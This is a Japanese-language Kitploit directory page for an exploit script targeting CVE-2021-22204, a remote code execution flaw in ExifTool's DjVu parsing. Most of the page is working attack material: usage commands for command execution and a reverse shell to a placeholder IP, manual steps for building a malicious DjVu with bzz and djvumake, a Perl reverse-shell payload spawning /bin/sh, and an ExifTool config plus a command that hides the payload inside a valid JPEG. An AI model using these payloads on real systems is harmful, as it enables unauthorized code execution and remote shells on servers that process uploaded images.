Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-22204 — CVE-2021-22204のエクスプロイトスクリプト。悪意のあるDjVuファイルを介したExifToolのRCEであり、手動での悪用手順とリバースシェルペイロードを含む。 | Kitploit
ツール/GitHubGitHub/assassinukg/cve-2021-22204
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubassassinukg/cve-2021-22204

CVE-2021-22204

CVE-2021-22204のエクスプロイトスクリプト。悪意のあるDjVuファイルを介したExifToolのRCEであり、手動での悪用手順とリバースシェルペイロードを含む。

リポジトリを見る
27924年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-22204

説明

ExifTool バージョン 7.44 以降の DjVu ファイル形式におけるユーザーデータの不適切な無害化により、悪意のある画像を解析する際に任意のコード実行が可能になります。

スクリプト

Script Link

image

スクリプトの使い方:

システムコマンド:

root@kitploit:~
bash CVE-2021-2204.sh "system('id')" happy.jpg 

リバースシェル

root@kitploit:~
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg

*あなたのIPとポート

手動エクスプロイト

root@kitploit:~
$ sudo apt install djvulibre-bin
# Installs the required tools
 
$ bzz payload payload.bzz
# Compress our payload file with to make it non human-readable
 
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

ペイロード

root@kitploit:~
(metadata "\c${system('id')};")

ペイロード (リバースシェル用)

root@kitploit:~
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")

そして、被害者が脆弱なバージョンのExiftoolでファイル exploit.djvu を開くと、埋め込まれたPerlコードが id コマンドを実行します。

Exiftool 用設定ファイル

root@kitploit:~
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end%

このファイルで行っているのは、ファイルに新しいタグ (名前は HasselbladExif、バイト列 0xc51b で新しいファイル内で識別) を書き込めるようにすることです。そして、任意のファイルにそれを挿入できます。[8]その後、それと既に作成した exploit.djvu を使用して、悪意のある DjVu ファイルを有効な JPEG 内に挿入します。

root@kitploit:~
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg

configfile = The name of our configuration file;
-HasselbladExif = Tag name that are specified in the config file;
exploit.djvu = Our exploit, previously made with djvumake;
hacker.jpg = A valid JPEG file;

クレジットとヘルプ: https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/

ツールをダウンロード